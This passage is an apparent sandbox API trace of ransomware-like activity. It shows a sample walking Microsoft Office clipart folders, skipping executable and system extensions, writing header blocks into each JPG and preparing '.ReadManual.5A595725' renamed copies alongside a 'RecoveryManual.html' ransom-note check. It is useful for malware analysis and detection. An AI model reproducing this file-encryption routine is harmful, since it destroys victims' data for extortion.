Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.474] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=45358) returned 1 [0267.474] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb12e, lpName=0x0) returned 0x184 [0267.474] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.475] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.475] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.477] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.477] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb12e) returned 0x2f0000 [0267.479] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.479] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38814772104) returned 1 [0267.479] CloseHandle (hObject=0x184) returned 1 [0267.479] SetSecurityInfo () returned 0x57 [0267.479] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.479] CloseHandle (hObject=0x194) returned 1 [0267.479] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd902, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0177806.JPG", cAlternateFileName="")) returned 1 [0267.479] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0177806.JPG" | out: lpString1="J0177806.JPG") returned="J0177806.JPG" [0267.479] lstrcmpiW (lpString1="J0177806.JPG", lpString2="RecoveryManual.html") returned -1 [0267.479] StrStrIW (lpFirst="J0177806.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.479] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.479] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.479] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.480] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.480] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.480] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.480] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.480] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.480] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.480] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.480] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.480] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.480] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.480] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.480] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" [0267.480] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.ReadManual.5A595725" [0267.480] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.ReadManual.5A595725") returned 87 [0267.480] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38814868698) returned 1 [0267.480] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg")) returned 0x20 [0267.481] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.481] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=55554) returned 1 [0267.481] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd902, lpName=0x0) returned 0x184 [0267.481] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.482] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.482] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.484] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.484] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd902) returned 0x2f0000 [0267.486] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.486] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38815468563) returned 1 [0267.486] CloseHandle (hObject=0x184) returned 1 [0267.486] SetSecurityInfo () returned 0x57 [0267.486] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.486] CloseHandle (hObject=0x194) returned 1 [0267.486] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x907d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0178348.JPG", cAlternateFileName="")) returned 1 [0267.486] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0178348.JPG" | out: lpString1="J0178348.JPG") returned="J0178348.JPG" [0267.486] lstrcmpiW (lpString1="J0178348.JPG", lpString2="RecoveryManual.html") returned -1 [0267.486] StrStrIW (lpFirst="J0178348.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.486] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.486] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.486] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.486] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.486] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.487] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.487] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.487] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.487] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.487] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.487] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.487] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.487] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.487] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.487] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" [0267.487] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.ReadManual.5A595725" [0267.487] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.ReadManual.5A595725") returned 87 [0267.487] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38815567465) returned 1 [0267.487] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg")) returned 0x20 [0267.487] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.487] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=36989) returned 1 [0267.487] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x907d, lpName=0x0) returned 0x184 [0267.487] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.488] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.488] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.490] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.490] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x907d) returned 0x2f0000 [0267.491] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.492] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38816044349) returned 1 [0267.492] CloseHandle (hObject=0x184) returned 1 [0267.492] SetSecurityInfo () returned 0x57 [0267.492] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.492] CloseHandle (hObject=0x194) returned 1 [0267.492] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7214, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0178459.JPG", cAlternateFileName="")) returned 1 [0267.492] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0178459.JPG" | out: lpString1="J0178459.JPG") returned="J0178459.JPG" [0267.492] lstrcmpiW (lpString1="J0178459.JPG", lpString2="RecoveryManual.html") returned -1 [0267.492] StrStrIW (lpFirst="J0178459.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.492] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.492] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.492] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.492] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.492] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.492] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.492] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.492] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.492] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.492] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.492] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.492] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.492] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.493] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.493] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" [0267.493] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.ReadManual.5A595725" [0267.493] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.ReadManual.5A595725") returned 87 [0267.493] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38816145075) returned 1 [0267.493] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg")) returned 0x20 [0267.493] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.493] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=29204) returned 1 [0267.493] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7214, lpName=0x0) returned 0x184 [0267.493] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.494] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.494] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.496] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.496] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7214) returned 0x2f0000 [0267.496] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.497] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38816545510) returned 1 [0267.497] CloseHandle (hObject=0x184) returned 1 [0267.497] SetSecurityInfo () returned 0x57 [0267.497] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.497] CloseHandle (hObject=0x194) returned 1 [0267.497] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff99200, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ff99200, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x67a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0178460.JPG", cAlternateFileName="")) returned 1 [0267.497] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0178460.JPG" | out: lpString1="J0178460.JPG") returned="J0178460.JPG" [0267.497] lstrcmpiW (lpString1="J0178460.JPG", lpString2="RecoveryManual.html") returned -1 [0267.497] StrStrIW (lpFirst="J0178460.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.497] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.497] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.497] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.497] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.497] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.497] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.497] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.497] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.497] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.497] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.497] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.497] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.497] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.498] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.498] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" [0267.498] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.ReadManual.5A595725" [0267.498] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.ReadManual.5A595725") returned 87 [0267.498] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38816642144) returned 1 [0267.498] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg")) returned 0x20 [0267.498] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.498] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26531) returned 1 [0267.498] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x67a3, lpName=0x0) returned 0x184 [0267.498] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.499] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.499] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.501] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.501] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x67a3) returned 0x2f0000 [0267.502] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.502] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38817065718) returned 1 [0267.502] CloseHandle (hObject=0x184) returned 1 [0267.502] SetSecurityInfo () returned 0x57 [0267.502] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.502] CloseHandle (hObject=0x194) returned 1 [0267.502] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5de2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0178523.JPG", cAlternateFileName="")) returned 1 [0267.502] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0178523.JPG" | out: lpString1="J0178523.JPG") returned="J0178523.JPG" [0267.502] lstrcmpiW (lpString1="J0178523.JPG", lpString2="RecoveryManual.html") returned -1 [0267.502] StrStrIW (lpFirst="J0178523.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.502] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0267.502] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0267.502] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0267.502] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0267.502] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0267.502] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0267.502] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0267.502] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0267.503] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0267.503] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0267.503] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0267.503] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0267.503] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0267.503] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0267.503] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" [0267.503] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.ReadManual.5A595725" [0267.503] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.ReadManual.5A595725") returned 87 [0267.503] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38817156378) returned 1 [0267.503] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg")) returned 0x20 [0267.503] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.503] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24034) returned 1 [0267.503] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5de2, lpName=0x0) returned 0x184 [0267.503] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.504] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.504] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.506] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.506] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5de2) returned 0x2f0000 [0267.507] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.507] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: 